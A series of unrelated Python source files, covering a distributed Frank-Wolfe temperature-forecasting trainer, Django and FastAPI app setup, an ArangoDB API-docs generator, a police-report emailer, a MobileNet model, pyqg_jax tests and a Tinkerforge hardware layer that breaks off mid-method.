            scalerXbab = loadPickle(path_checkpts+"scalerXbabbage.pkl")
            #scalerYbab = loadPickle(path_checkpts+"scalerYbab.pkl")
            scalerXbaby = loadPickle(path_checkpts+"scalerXbabyfoot.pkl")
            #scalerYbaby = loadPickle(path_checkpts+"scalerYbaby.pkl")
            scalerXjac = loadPickle(path_checkpts+"scalerXjacquard.pkl")
            #scalerYjac = loadPickle(path_checkpts+"scalerYjac.pkl")

            self.loadCheckPts(path_checkpts+"checkpts_models.tar")
            try :
                for i in range(self.num_nodes):
                    for l in range(L):
                        self.optimizers[i].oracles[l].G = self.checkpts[i]["oracles"][l].copy()
            except:
                raise AttributeError("Checkpoint is not defined, please call loadcheckpts(path_to_checkpts)")

        else:
            scalerXbab = preprocessing.StandardScaler()
            #scalerYbab = preprocessing.StandardScaler()
            scalerXbaby = preprocessing.StandardScaler()
            #scalerYbaby = preprocessing.StandardScaler()
            scalerXjac = preprocessing.StandardScaler()
            #scalerYjac = preprocessing.StandardScaler()

        grad_avg = [[torch.zeros(k.shape) for k in list(self.models[i].parameters())]
                   for i in range(self.num_nodes)]
        inner_avg = [0.] * self.num_nodes

        print("Loading Data")
        babbage_chunk = pd.read_csv(path_to_data1, parse_dates=["time"],index_col=0)
        baby_chunk = pd.read_csv(path_to_data2, parse_dates=["time"],index_col=0)
        jacquard_chunk = pd.read_csv(path_to_data3, parse_dates=["time"],index_col=0)

        train_bab,valid_bab = testcutoff(week=valid_cutoff,dataset=babbage_chunk)
        train_baby,valid_baby = testcutoff(week=valid_cutoff,dataset=baby_chunk)
        train_jac,valid_jac = testcutoff(week=valid_cutoff, dataset=jacquard_chunk)

        scalerXbab.learn_many(train_bab)
        train_bab = scalerXbab.transform_many(train_bab)

        scalerXbaby.learn_many(train_baby)
        train_baby = scalerXbaby.transform_many(train_baby)

        scalerXjac.learn_many(train_jac)
        train_jac = scalerXjac.transform_many(train_jac)

        bab, y_bab = createXY(train_bab,lookback=lookback,lookahead=lookahead,lag=lag,y_feature=yfeat)
        baby, y_baby = createXY(train_baby,lookback=lookback,lookahead=lookahead,lag=lag,y_feature=yfeat)
        jac, y_jac = createXY(train_jac,lookback=lookback,lookahead=lookahead,lag=lag,y_feature=yfeat)
        print("Creating Bab Loader")
        loader_bab = toDataLoader(bab,y_bab,batch_size,window_len=10,smooth_=True)
        print("Creating Baby Loader")
        loader_baby = toDataLoader(baby,y_baby,batch_size,window_len=10,smooth_=True)
        print("Creating Jac Loader")
        loader_jac = toDataLoader(jac,y_jac,batch_size,window_len=10,smooth_=True)
        print("---Done Loading---")

        for t, ((dt1,lb1),(dt2,lb2),(dt3,lb3)) in enumerate(zip(loader_bab,loader_baby,loader_jac)):

            tmp_dts = [(dt1,lb1),(dt2,lb2),(dt3,lb3)]

            for i in range(self.num_nodes):
                self.models[i].apply(self.weight_reset)
                self.optimizers[i].resetWs([param for param in self.models[i].parameters()])
            #---Frank-Wolfe Steps---#
            for l in range(L):
                for i in range(self.num_nodes):
                    self.optimizers[i].step(self.optimizers,l)

            self.Wnew = [self.optimizers[i].Ws[L] for i in range(self.num_nodes)]
            #nodes_data = self.nodeInit(tmp_dts,stochastic=stochastic, minibatch=minibatch)

            #---Compute regret---#
            for i in range(self.num_nodes):
                self.models[i] = self.assignWeight(self.models[i],self.Wnew[i])
                outputs = self.models[i](tmp_dts[i][0])
                curr_loss = self.loss(outputs,tmp_dts[i][1])
                #curr_gradient = gradient(curr_loss, list(self.models[i].parameters()))

                #wnew_detach = [p.clone().detach() for p in self.Wnew[i]]
                #inner_grad = sum(list(map(inner_prod, curr_gradient, wnew_detach)))
                #inner_avg[i] += inner_grad
                #inner_avg[i] /= (t+1)

                #grad_avg[i] = list(map(add, grad_avg[i], curr_gradient))
                #grad_avg[i] = list(map(lambda x: x/(t+1),grad_avg[i]))

                #self.gaps[i] = online_gap(grad_avg[i],inner_avg[i],radius)
                self.losses[i] = curr_loss #- opt_loss

                self.optimizers[i].initGrad(self.models[i],tmp_dts[i][0],tmp_dts[i][1])

            #---Feedback Oracle---#
            for l in range(L):
                for i in range(self.num_nodes):
                    self.optimizers[i].updateOracle(self.models[i], tmp_dts[i][0], tmp_dts[i][1],l, stochastic)

            #print(torch.tensor(self.losses).detach().numpy())
            gap_list.append(torch.tensor(self.gaps).detach().numpy())
            loss_list.append(torch.tensor(self.losses).detach().numpy())
            loss = max(self.losses)
            gap=max(self.gaps)

            print("t : {} loss : {} gap : {} scaler mean:{}".format(t, loss,gap,scalerXbab.means["temperature"]))

        loss_list = np.array(loss_list)
        #gap_list = torch.tensor(gap_list).detach().numpy()
        #self.obj_values[10*it + t] = [10*it+t,loss.detach().numpy()]

        self.saveCheckPts(t,self.Wnew, path_to_save) #Uncomment this line to save checkpoints
        self.saveModel(path_to_save) #Uncomment this line to save model
        self.saveOutput(loss_list, path_to_save, "trainloss.csv")
        self.saveOutput(gap_list, path_to_save,"traingaps.csv")#Uncomment this line to save output

        #savePickle(path_to_save+"scalerYbab.pkl",scalerYbab)
        savePickle(path_to_save+"scalerXbabbage.pkl",scalerXbab)

        #savePickle(path_to_save+"scalerYbaby.pkl",scalerYbaby)
        savePickle(path_to_save+"scalerXbabyfoot.pkl",scalerXbaby)

        #savePickle(path_to_save+"scalerYjac.pkl",scalerYjac)
        savePickle(path_to_save+"scalerXjacquard.pkl",scalerXjac)

        '''
        #----Validation----
        bab, y_bab = createXY(valid_bab,lookback=lookback,lookahead=lookahead,lag=lag,y_feature=yfeat)
        baby, y_baby = createXY(valid_baby,lookback=lookback,lookahead=lookahead,lag=lag,y_feature=yfeat)
        jac, y_jac = createXY(valid_jac,lookback=lookback,lookahead=lookahead,lag=lag,y_feature=yfeat)

        loader_bab = toDataLoader(bab,y_bab,batch_size,smooth_=False, training=False)
        loader_baby = toDataLoader(baby,y_baby,batch_size,smooth_=False, training=False)
        loader_jac = toDataLoader(jac,y_jac,batch_size,smooth_=False, training=False)

        for t, ((dt1,lb1),(dt2,lb2),(dt3,lb3)) in enumerate(zip(loader_bab,loader_baby,loader_jac)):
            if t%10==0:
                print("t validation :{}".format(t))

            tmp_dts = [(dt1,lb1),(dt2,lb2),(dt3,lb3)]
            for i in range(self.num_nodes):
                self.models[i] = self.assignWeight(self.models[i],self.Wnew[i])
                outputs = self.models[i](dt1)
                curr_loss = self.loss(outputs,lb1)
                self.valid_losses[i] = curr_loss

            lossvalid_list.append(torch.tensor(self.valid_losses).detach().numpy())

        lossvalid_list = np.array(lossvalid_list)
        self.saveOutput(lossvalid_list, path_to_save, "validloss.csv")'''

        return self.Wnew, loss_list

# In[11]:

parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("--L",type=int,help="Number of linear oracles",default=20)
parser.add_argument("--lookback",type=int,help="Length of learning sequence",default=40)
parser.add_argument("--lookahead",type=int,help="Length of prediction sequence",default=20)
parser.add_argument("--batchsize",type=int,help="batchsize",default=50)
parser.add_argument("--eta_exp",type=float,help="learning rate exponent",default=0.90)
parser.add_argument("--reg_coef",type=float,help="regularizer of oracle update",default=2)
parser.add_argument("--chunk_checkpts",type=int,help="last learned datachunk",required=True)
parser.add_argument("--chunk_tosave",type=int,help="next learning datachunk",required=True)
parser.add_argument("--continuous_training",choices=['True','False'],default='True',
    help="Continue training from last checkpts",required=True)

argv = parser.parse_args()

nb_nodes = 3
cycle,name = Graphs.cycle_graph(nb_nodes)
grid1, name = Graphs.gridgraph(1,1)
loss_func = nn.SmoothL1Loss()

# In[12]:

print_freq = 1e0
num_iters_base = 586
eta_coef_DMFW = 1
eta_exp_DMFW = argv.eta_exp
rho_coef_DMFW = 4e-0
rho_exp_DMFW = 1/2
reg_coef_DMFW = argv.reg_coef
L_DMFW = argv.L

lookback = argv.lookback
lookahead = argv.lookahead
batch_size=argv.batchsize
lag = 0

path_jacquard = "./QarnotData/jacquard/"
path_babyfoot = "./QarnotData/babyfoot/"
path_babbage = "./QarnotData/babbage/"
list_babbage = sorted([f for f in os.listdir(path_babbage) if not f.startswith('.')])
list_jacquard = sorted([f for f in os.listdir(path_jacquard) if not f.startswith('.')])
list_babyfoot = sorted([f for f in os.listdir(path_babyfoot) if not f.startswith('.')])

path_log = "./TrainLog/"

chunkcheckpts = argv.chunk_checkpts
chunkload = argv.chunk_tosave

if argv.continuous_training=='False':
    to_load = None
    continue_training=False
else:
    to_load = path_log + str(chunkcheckpts) + "Chunk/"
    continue_training=True

to_save = path_log + str(chunkload) + "Chunk/"
trainXMFW = Trainer(cycle,L_DMFW,AutoEncoder,(5,30,lookback,lookahead),
                    loss_func,num_iters_base,print_freq)

path_bab = path_babbage+list_babbage[chunkload]
path_baby = path_babyfoot+list_babyfoot[chunkload]
path_jac = path_jacquard+list_jacquard[chunkload]

AE = AutoEncoder(5, 30, lookback, lookahead)
x = torch.rand((batch_size, lookback, 5))
summary(AE, x)

sol_dmfw, values_dmfw_noniid = trainXMFW.train(optimizer=DMFW, L=L_DMFW, eta_coef=eta_coef_DMFW, eta_exp=eta_exp_DMFW,
                                               reg_coef=reg_coef_DMFW,
                                               oracle_type='FTPL',radius=10,
                                               lookback=lookback, lookahead=lookahead,
                                               batch_size=batch_size,lag=lag, smooth_=True,
                                               valid_cutoff=1, yfeat="temperature",
                                               path_to_data1=path_bab,
                                               path_to_data2=path_baby,
                                               path_to_data3=path_jac,
                                               path_checkpts=to_load,
                                               path_to_save=to_save,
                                               continue_training=continue_training)


filename = 'Chapter 10/pi_digits.txt'

"""
with open('Chapter 10/pi_digits.txt') as file_object:
    contents = file_object.read()
    print(contents.rstrip())

with open(filename) as file_object:
    for line in file_object:
        print(line.rstrip())
        """

with open(filename) as file_object:
    lines = file_object.readlines()

for i in lines:
    print(i.rstrip())

pi_string = ''
for line in lines:
    pi_string += line.rstrip()

print(pi_string)
print(len(pi_string))


from django.urls import path
from . import views

app_name = 'videos'

urlpatterns = [
    path('', views.IndexView.as_view(), name='index'),
    path('upload/', views.CreateView.as_view(), name='upload'),
    path('play/<int:pk>/', views.PlayView.as_view(), name='play'),
]


import argparse
import yaml
import os
import json
import re
import traceback
from functools import reduce  # forward compatibility for Python 3
import operator

##CMDLINE ARGS
parser = argparse.ArgumentParser(description='Optional app description')
parser.add_argument('--src', type=str,
                    help='docs/ folder')
parser.add_argument('--dst', type=str,
                    help='api-docs.json file destination')
parser.add_argument('--version', type=str,
                    help='documentation version folder')
args = parser.parse_args()

if args.src is None or args.dst is None or args.version is None:
    print("Args are required")
    exit(1)

# Handle Windows and trailing path separators
docs = args.src
dst = args.dst
version = args.version

apiDocsRes = {
    "openapi": "3.1.0",
    "info": {
        "description": "ArangoDB REST API Interface",
        "version": "3.10.5", # TODO: Don't hardcode the ArangoDB version
        "title": "ArangoDB",
        "license": {
            "name": "Apache License, Version 2.0"
        }
    },
    "tags": {

    },
    "paths" : {}
}

def generateAPIDocs():
    print("PARSING DOCUMENTATION FILES")
    for root, dirs, files in os.walk(f"{docs}/site/content/{version}", topdown=True):
        if root.endswith("images"):
            continue

        for file in files:
            processFile(f"{root}/{file}".replace("\\", "/"))

    print("END")

def loadTags():
    print("GENERATING TAGS")
    try:
        file = open(f"{docs}/site/data/openapi_tags.yaml", "r", encoding="utf-8")
        data = file.read()
        file.close()
    except Exception as ex:
        print(traceback.format_exc())
        raise ex

    tags = yaml.safe_load(data)
    apiDocsRes["tags"] = tags
    print(f"TAGS GENERATED")

def processFile(filepath):
    try:
        file = open(filepath, "r", encoding="utf-8")
        data = file.read()
        file.close()
    except Exception as ex:
        print(f"Error reading file {filepath}")
        print(traceback.format_exc())
        raise ex

    endpoints = re.findall(r"\`{3}openapi(.*?)\`{3}", data, re.MULTILINE | re.DOTALL)
    for endpoint in endpoints:
        endpointDict = yaml.safe_load(endpoint)
        path = next(iter(endpointDict["paths"]))
        method = next(iter(endpointDict["paths"][path]))
        if not path in apiDocsRes["paths"]:
            apiDocsRes["paths"][path] = {}

        summary = re.search(r"^#{1,6} (.+)", endpoint, re.MULTILINE)
        if "summary" in endpointDict["paths"][path][method]:
            print(f"WARNING: Summary field already in spec {method}-{path}")

        if summary:
            endpointDict["paths"][path][method]["summary"] = summary.group(1)

        if not "summary" in endpointDict["paths"][path][method] and not summary:
            print(f"WARNING: Missing both summary field and headline in spec {method}-{path}")

        apiDocsRes["paths"][path][method] = endpointDict["paths"][path][method]

    processDescriptions(apiDocsRes, "")

    dstFile = open(dst, "w")
    json.dump(apiDocsRes, dstFile, indent=2)
    dstFile.close()

def getFromDict(dataDict, mapList):
    return reduce(operator.getitem, mapList, dataDict)

def setInDict(dataDict, mapList, value):
    mapList = mapList.split(",")[1:]
    getFromDict(dataDict, mapList[:-1])[mapList[-1]] = value

def delFromDict(dataDict, mapList):
    mapList = mapList.split(",")[1:]
    del getFromDict(dataDict, mapList[:-1])[mapList[-1]]

def processDescriptions(data, k):
    for key, value in data.items():
        if not "description" in value:
            if isinstance(value, dict):
                processDescriptions(value, k + "," + key)
        else:
            desc = value["description"]
            if re.search(r"{{< (?:warning|info|danger|success|tip) >}}", desc, re.MULTILINE):
                newDesc = generateNewDesc(desc)
                setInDict(apiDocsRes, f"{k},{key},description", newDesc)

def generateNewDesc(oldDesc):
    newDesc = ""
    insideHint = False
    for line in oldDesc.split("\n"):
        hint = re.search(r"{{< (warning|info|danger|success|tip) >}}", line)
        if hint:
            insideHint = True
            newDesc += f"> **{hint[1].upper()}**:\n"
        elif re.search(r"{{< /(?:warning|info|danger|success|tip) >}}", line):
            insideHint = False
        else:
            if insideHint:
                newDesc += f"> {line}\n"
            else:
                newDesc += f"{line}\n"
    return newDesc

if __name__ == "__main__":
    print("--- GENERATE API DOCS")
    loadTags()
    generateAPIDocs()
    print("--- END")


#!/usr/bin/env python

import argparse
import requests
import smtplib
from datetime import date, timedelta
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import dns.resolver
import sys

yesterday = date.today() - timedelta(1)
daybefore = date.today() - timedelta(2)
todate = yesterday.strftime("%m/%d/%Y")
fromdate = daybefore.strftime("%m/%d/%Y")

# get an MX server for an email address
def get_mx_host(email):
    domain = str.split(email, '@')[1]
    answers = dns.resolver.query(domain, 'MX')
    # return first MX host, removing the final .
    return str(answers[0].exchange)[:-1]

# fetch the report
def get_police_report(district,incident_types='9'):
    # if not all, then we need to append dis to the district number
    if district != 'all':
        district = 'dis'+district
    url = 'http://www.columbuspolice.org/reports/Results?from=%s&to=%s&loc=%s&types=%s' % (fromdate, todate, district, incident_types)
    r = requests.get(url)
    # return full html page
    return r.text

def send_email(fromemail, toemail, htmlcontent):
    if args.usemx:
        mailserver = get_mx_host(toemail)
    else:
        mailserver = args.mailserver

    # prepare the email
    msg = MIMEMultipart('alternative')
    msg['Subject'] = "Local Police Reports: %s - %s" % (fromdate, todate)
    msg['From'] = fromemail
    msg['To'] = toemail

    # set the content
    textcontent = 'No text content'
    part1 = MIMEText(textcontent, 'plain')
    part2 = MIMEText(htmlcontent, 'html')
    msg.attach(part1)
    msg.attach(part2)

    # send the email
    s = smtplib.SMTP(mailserver)
    s.sendmail(fromemail, toemail, msg.as_string())
    s.quit()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Columbus Police Daily Report')
    parser.add_argument('fromemail')
    parser.add_argument('toemail')
    parser.add_argument('--district', default='all', help='District to use (defaults to all)')
    parser.add_argument('--usemx', help='Use MX records', action='store_true')
    parser.add_argument('--mailserver', help='Mail server to use')
    args = parser.parse_args()

    if not args.mailserver and not args.usemx:
        print("Must pass a mailserver or usemx")

    emailcontent = get_police_report(str(args.district))
    send_email(args.fromemail, args.toemail, emailcontent)


# encoding=UTF8
import tensorflow as tf
from tensorflow.contrib import layers
from tensorflow.contrib.framework import arg_scope
from basenets import net
import numpy as np

class MobileNet(net.Net):

    def __init__(self, inputs, name='AlexNet', npy_path=None, weight_decay=0.00004, **kwargs):
        super(MobileNet, self).__init__(weight_decay=weight_decay, name=name, **kwargs)
        self.inputs = inputs
        self.npy_path = npy_path
        # self.is_training = tf.constant(True, dtype=tf.bool)
        self.is_training = tf.placeholder(dtype=tf.bool, shape=[])
        self.build()
        if self.npy_path:
            self.setup()

    def set_npy_path(self, path):
        self.npy_path = path

    def build(self):
        endpoints = self.endpoints
        y = self.inputs['images']
        with arg_scope([layers.conv2d, layers.separable_conv2d],
                       padding='SAME',
                       activation_fn=tf.nn.relu6,
                       weights_initializer=layers.xavier_initializer(),
                       weights_regularizer=layers.l2_regularizer(self.weight_decay),
                       normalizer_fn=layers.batch_norm,
                       normalizer_params={'is_training': self.is_training}):
            y = layers.conv2d(y, 32, (3, 3), 2, scope='Conv2d_0')
            endpoints['Conv2d_0'] = y

            # set num_outputs to None to skipe point-wise convolution
            y = layers.separable_conv2d(y, None, (3, 3), 1, stride=1, scope='Depthwise_Conv2d_1')
            y = layers.conv2d(y, 64, (1, 1), scope='Pointwise_Conv2d_1')
            endpoints['Pointwise_Conv2d_1'] = y
            y = layers.separable_conv2d(y, None, (3, 3), 1, stride=2, scope='Depthwise_Conv2d_2')
            y = layers.conv2d(y, 128, (1, 1), scope='Pointwise_Conv2d_2')
            endpoints['Pointwise_Conv2d_2'] = y
            y = layers.separable_conv2d(y, None, (3, 3), 1, stride=1, scope='Depthwise_Conv2d_3')
            y = layers.conv2d(y, 128, (1, 1), scope='Pointwise_Conv2d_3')
            endpoints['Pointwise_Conv2d_3'] = y
            y = layers.separable_conv2d(y, None, (3, 3), 1, stride=2, scope='Depthwise_Conv2d_4')
            y = layers.conv2d(y, 256, (1, 1), scope='Pointwise_Conv2d_4')
            endpoints['Pointwise_Conv2d_4'] = y
            y = layers.separable_conv2d(y, None, (3, 3), 1, stride=1, scope='Depthwise_Conv2d_5')
            y = layers.conv2d(y, 256, (1, 1), scope='Pointwise_Conv2d_5')
            endpoints['Pointwise_Conv2d_5'] = y
            y = layers.separable_conv2d(y, None, (3, 3), 1, stride=2, scope='Depthwise_Conv2d_6')
            y = layers.conv2d(y, 512, (1, 1), scope='Pointwise_Conv2d_6')
            endpoints['Pointwise_Conv2d_6'] = y
            # repeat 5 times
            y = layers.separable_conv2d(y, None, (3, 3), 1, stride=1, scope='Depthwise_Conv2d_7')
            y = layers.conv2d(y, 512, (1, 1), scope='Pointwise_Conv2d_7')
            endpoints['Pointwise_Conv2d_7'] = y
            y = layers.separable_conv2d(y, None, (3, 3), 1, stride=1, scope='Depthwise_Conv2d_8')
            y = layers.conv2d(y, 512, (1, 1), scope='Pointwise_Conv2d_8')
            endpoints['Pointwise_Conv2d_8'] = y
            y = layers.separable_conv2d(y, None, (3, 3), 1, stride=1, scope='Depthwise_Conv2d_9')
            y = layers.conv2d(y, 512, (1, 1), scope='Pointwise_Conv2d_9')
            endpoints['Pointwise_Conv2d_9'] = y
            y = layers.separable_conv2d(y, None, (3, 3), 1, stride=1, scope='Depthwise_Conv2d_10')
            y = layers.conv2d(y, 512, (1, 1), scope='Pointwise_Conv2d_10')
            endpoints['Pointwise_Conv2d_10'] = y
            y = layers.separable_conv2d(y, None, (3, 3), 1, stride=1, scope='Depthwise_Conv2d_11')
            y = layers.conv2d(y, 512, (1, 1), scope='Pointwise_Conv2d_11')
            endpoints['Pointwise_Conv2d_11'] = y
            y = layers.separable_conv2d(y, None, (3, 3), 1, stride=2, scope='Depthwise_Conv2d_12')
            y = layers.conv2d(y, 1024, (1, 1), scope='Pointwise_Conv2d_12')
            endpoints['Pointwise_Conv2d_12'] = y
            # 此层stride存疑，原文为2。
            y = layers.separable_conv2d(y, None, (3, 3), 1, stride=1, scope='Depthwise_Conv2d_13')
            y = layers.conv2d(y, 1024, (1, 1), scope='Pointwise_Conv2d_13')
            endpoints['Pointwise_Conv2d_13'] = y
            y = layers.avg_pool2d(y, (7, 7), 1, 'VALID', scope='global_pooling')
            endpoints['global_pooling'] = y
            y = layers.flatten(y)
            y = layers.fully_connected(y, 1000, scope='fc1')
            endpoints['fc1'] = y
            self.outputs['logits'] = y
        return y

    def calc_loss(self):
        pass

    def get_update_ops(self):
        return []

    def setup(self):
        return []

if __name__ == '__main__':

    x = tf.placeholder(shape=[None, 224, 224, 3], dtype=tf.float32)
    net = MobileNet({'images': x}, npy_path='../npy/alexnet.npy')
    pred = net.outputs['logits']

    init_ops = tf.get_collection(tf.GraphKeys.INIT_OP)

    import cv2
    img = cv2.imread('../images/dog.jpg')
    img = cv2.resize(img, (224, 224))
    img = img
    img = np.expand_dims(img, 0)
    with tf.Session() as sess:
        sess.run(init_ops)
        print(sess.run(tf.argmax(pred, 0), feed_dict={x: img}))


import warnings
import functools
import numpy as np
import re
import ast
import jax.config
import jax.numpy as jnp
import pytest
from pyqg_jax._utils import summarize_object

@pytest.mark.parametrize(
    "dtype, jax_dtype_key, np_dtype_key",
    [
        (jnp.float32, "f32", "f32"),
        (jnp.complex64, "c64", "c64"),
        (jnp.int16, "i16", "i16"),
        (jnp.uint8, "u8", "u8"),
        (jnp.float64, "f64" if jax.config.jax_enable_x64 else "f32", "f64"),
        (jnp.complex128, "c128" if jax.config.jax_enable_x64 else "c64", "c128"),
    ],
)
@pytest.mark.parametrize("shape", [(3,), 5, (4, 5, 6), (8, 0), (0,), 0, ()])
def test_summarize_array(dtype, jax_dtype_key, np_dtype_key, shape):
    with warnings.catch_warnings():
        if not jax.config.jax_enable_x64:
            warnings.simplefilter("ignore", category=UserWarning)
        jax_arr = jnp.zeros(shape, dtype=dtype)
    np_arr = np.zeros(shape, dtype=dtype)
    try:
        shape_str = ",".join(map(str, shape))
    except TypeError:
        shape_str = str(shape)
    jax_summary = summarize_object(jax_arr)
    np_summary = summarize_object(np_arr)
    assert jax_summary == np_summary or jax_dtype_key != np_dtype_key
    assert jax_summary == f"{jax_dtype_key}[{shape_str}]"
    assert np_summary == f"{np_dtype_key}[{shape_str}]"

@pytest.mark.parametrize("cls", [functools.partial, jax.tree_util.Partial])
def test_partial(cls):
    def test_function_name():
        pass

    obj = cls(test_function_name, "value1", kwarg2="value2")
    rgx = (
        rf"^.+?{re.escape(cls.__name__)}"
        r"\(<function .+test_function_name>, "
        rf"{re.escape(repr('value1'))}, "
        rf"kwarg2={re.escape(repr('value2'))}\)$"
    )
    assert re.match(rgx, summarize_object(obj))

def test_function():
    def test_function_name():
        pass

    func_name = f"{test_function_name.__module__}.{test_function_name.__qualname__}"
    assert summarize_object(test_function_name) == f"<function {func_name}>"

@pytest.mark.parametrize("cls", [list, tuple])
def test_ordered_seq(cls):
    val = cls(
        [
            jnp.zeros((1, 2, 3), dtype=jnp.float32),
            jnp.zeros((4,), dtype=jnp.complex64),
            6,
            True,
        ]
    )
    separators = repr(cls())
    summary = summarize_object(val)
    assert summary[0] == separators[0]
    assert summary[-1] == separators[-1]
    assert summary[1:-1] == "f32[1,2,3], c64[4], 6, True"

def test_set():
    def test_function_name():
        pass

    val = {
        test_function_name,
        6,
        4.0,
        True,
    }
    summary = summarize_object(val)
    summary_elements = {s.strip() for s in summary[1:-1].split(",")}
    assert summary[0] == "{"
    assert summary[-1] == "}"
    assert summary_elements == {
        "6",
        "4.0",
        "True",
        summarize_object(test_function_name),
    }

def test_dict():
    val = {
        "float_arr": jnp.zeros((3,), dtype=jnp.float32),
        "complex_arr": jnp.zeros((4,), dtype=jnp.complex64),
        "bool": True,
        "int": 5,
    }
    summary = summarize_object(val)
    summary_strings = {}
    for element in summary[1:-1].split(","):
        parts = element.split(":")
        name = ast.literal_eval(parts[0].strip())
        value = parts[1].strip()
        summary_strings[name] = value
    assert summary[0] == "{"
    assert summary[-1] == "}"
    assert summary_strings == {
        "float_arr": "f32[3]",
        "complex_arr": "c64[4]",
        "bool": "True",
        "int": "5",
    }

@pytest.mark.parametrize("obj", [3, 4.0, True, "test"])
def test_normal_repr(obj):
    assert summarize_object(obj) == repr(obj)


from fastapi import FastAPI
import uvicorn
from db import models
from db.database import engine
from routers import user, post, comments
from fastapi.staticfiles import StaticFiles
from auth import authentication
from fastapi.middleware.cors import CORSMiddleware

app = FastAPI()

app.include_router(user.router)
app.include_router(post.router)
app.include_router(comments.router)
app.include_router(authentication.router)

origins = [
    "*"
]

app.add_middleware(
    CORSMiddleware,
    allow_origins=origins,
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

models.Base.metadata.create_all(engine)

app.mount('/images', StaticFiles(directory='images'), name='images')

if __name__ == "__main__":
    uvicorn.run("main:app", host="localhost", port=8000, reload=True)


from . import hal
import time,threading,logging
try:
    from tinkerforge.ip_connection import IPConnection
    from tinkerforge.bricklet_voltage_current import BrickletVoltageCurrent
    from tinkerforge.bricklet_voltage_current_v2 import BrickletVoltageCurrentV2
    from tinkerforge.brick_master import BrickMaster
    from tinkerforge.brick_servo import BrickServo
    from tinkerforge.bricklet_io16 import BrickletIO16
    from tinkerforge.bricklet_io16_v2 import BrickletIO16V2
    from tinkerforge.bricklet_color import BrickletColor
    from tinkerforge.bricklet_color_v2 import BrickletColorV2
    from tinkerforge.bricklet_dual_relay import BrickletDualRelay
    from tinkerforge.bricklet_industrial_dual_relay import BrickletIndustrialDualRelay
    from tinkerforge.bricklet_industrial_quad_relay_v2 import BrickletIndustrialQuadRelayV2
    from tinkerforge.bricklet_industrial_quad_relay import BrickletIndustrialQuadRelay
    from tinkerforge.bricklet_servo_v2 import BrickletServoV2
except:
    print("No tinkerforge Libs installed")
    exit
ipcon = None
def findDeviceType(id,devicetype):
    global ipcon
    tmp = hal.Devices.find(id)
    if tmp!=None:
        return tmp.Device
    else:
        if devicetype == 13: return BrickMaster(id, ipcon)
        elif devicetype == 14: return BrickServo(id, ipcon)
        elif devicetype == 227: return BrickletVoltageCurrent(id, ipcon)
        elif devicetype == 2105: return BrickletVoltageCurrentV2(id, ipcon)
        elif devicetype == 28: return BrickletIO16(id, ipcon)
        elif devicetype == 2114: return BrickletIO16V2(id, ipcon)
        elif devicetype == 243: return BrickletColor(id, ipcon)
        elif devicetype == 2128: return BrickletColorV2(id, ipcon)
        elif devicetype == 26: return BrickletDualRelay(id, ipcon)
        elif devicetype == 284: return BrickletIndustrialDualRelay(id, ipcon)
        elif devicetype == 225: return BrickletIndustrialQuadRelay(id, ipcon)
        elif devicetype == 2102: return BrickletIndustrialQuadRelayV2(id, ipcon)
        elif devicetype == 2157: return BrickletServoV2(id, ipcon)
        else:
            print("Warning: DeviceType "+str(devicetype)+" not found")
            return None
class tfMasterBrick(hal.Module):
    def __init__(self, id, devicetype, parent=None):
        tmp = findDeviceType(id,devicetype)
        hal.Module.__init__(self,id,parent)
        self.Device = tmp
    def Reset(self):
        self.Device.reset()
class tfServoBrick(hal.Module):
    def __init__(self, id, devicetype, parent=None):
        tmp = findDeviceType(id,devicetype)
        hal.Module.__init__(self,id,parent)
        self.Device = tmp
class tfUnknownBricklet(hal.Module):
    def __init__(self, id, devicetype, parent=None):
        tmp = findDeviceType(id,devicetype)
        hal.Module.__init__(self,id,parent)
        self.Device = tmp
class tfServoActor(hal.ServoActor):
    def __init__(self, id, devicetype, parent=None):
        tmp = findDeviceType(id,devicetype)
        tmp1 = hal.Devices.find(id)
        hal.ServoActor.__init__(self,id,tmp1)
        self.Device = tmp
        for i in range(7):
            self.Names[i]=i
            self.ServoBasePosition[i]=0
    def Power(self,servo,BasePosition=None,Velocity=65535,Period=14248,on=True):
        hal.ServoActor.Power(self,servo,BasePosition,Velocity,Period,on)
        try:
            if self.Device.device_identifier == 2157:
                self.Device.set_motion_configuration(servo,Velocity,50000,50000)
            else:
                self.Device.set_velocity(servo,Velocity)
            self.Device.set_period(servo,Period)
            if BasePosition!=None:#only change Position during Power on, when BasePosition is set
                self.Device.set_position(servo,self.ServoBasePosition[servo])
            if self.Device.device_identifier == 2157:
                self.Device.set_enable(servo,on)
                return self.Device.get_enabled(servo)
            else:
                if on:
                    self.Device.enable(servo)
                else:
                    self.Device.disable(servo)
                return (on==False) or self.Device.is_enabled(servo)
        except:
            return False
    def Position(self,servo,Position,Relative=True):
        try:
            if Relative:
                self.Device.set_position(servo,self.ServoBasePosition[servo]+Position)
            else:
                self.Device.set_position(servo,Position)
            return True
        except:
            return False
    def ActualPosition(self,servo,Relative=True):
        try:
            if Relative:
                return self.ServoBasePosition[servo]-self.Device.get_current_position(servo)
            else:
                return self.Device.get_current_position(servo)
        except:
            return False
    def OutputVoltage(self,val):
        try:
            self.Device.set_output_voltage(val)
            return True
        except:
            return False
class tfServoCurrentSensor(hal.CurrentSensor):
    def __init__(self, id, devicetype,measurements=8, parent=None):
        tmp = findDeviceType(id,devicetype)
        hal.CurrentSensor.__init__(self,id,measurements=measurements,parent=parent)
        self.Device = tmp
    def Current(self):
        max_curr = 0
        try:
            for x in range(self.measurements):
                max_curr = max_curr+self.Device.get_overall_current()
            av_curr = round(float(max_curr)/self.measurements,4)
            return float(av_curr-self.Calibration)
        except:
            return -1
class tfVoltageSensor(hal.VoltageSensor):
    def __init__(self, id, devicetype, parent=None,measurements=1):
        tmp = findDeviceType(id,devicetype)
        self.measurements=measurements
        hal.Sensor.__init__(self,id,parent)
        self.Calibration = 0.0
        self.Device = tmp
        #                      4,1.1ms  ,332us
        self.Device.set_configuration(BrickletVoltageCurrent.AVERAGING_4,4      ,3    )
        self.last_value = None
    def Init(self):
        try:
            if hasattr(self.Device,'reset'):
                self.Device.reset()
        except BaseException as e:
            self.logger.debug('Init failed:'+str(e))
    def Voltage(self,Port=1,PortLow=2,measurements=None):
        if not self.measurements:
            self.measurements = 1
        if measurements!=None:
            self.measurements=measurements
        try:
            max_v = 0
            for x in range(self.measurements):
                self.last_value = self.Device.get_voltage()
                max_v = max_v+self.last_value
            if (float(max_v)/self.measurements) == self.last_value and self.last_value != 0 and self.measurements>1:
                self.Device.reset()
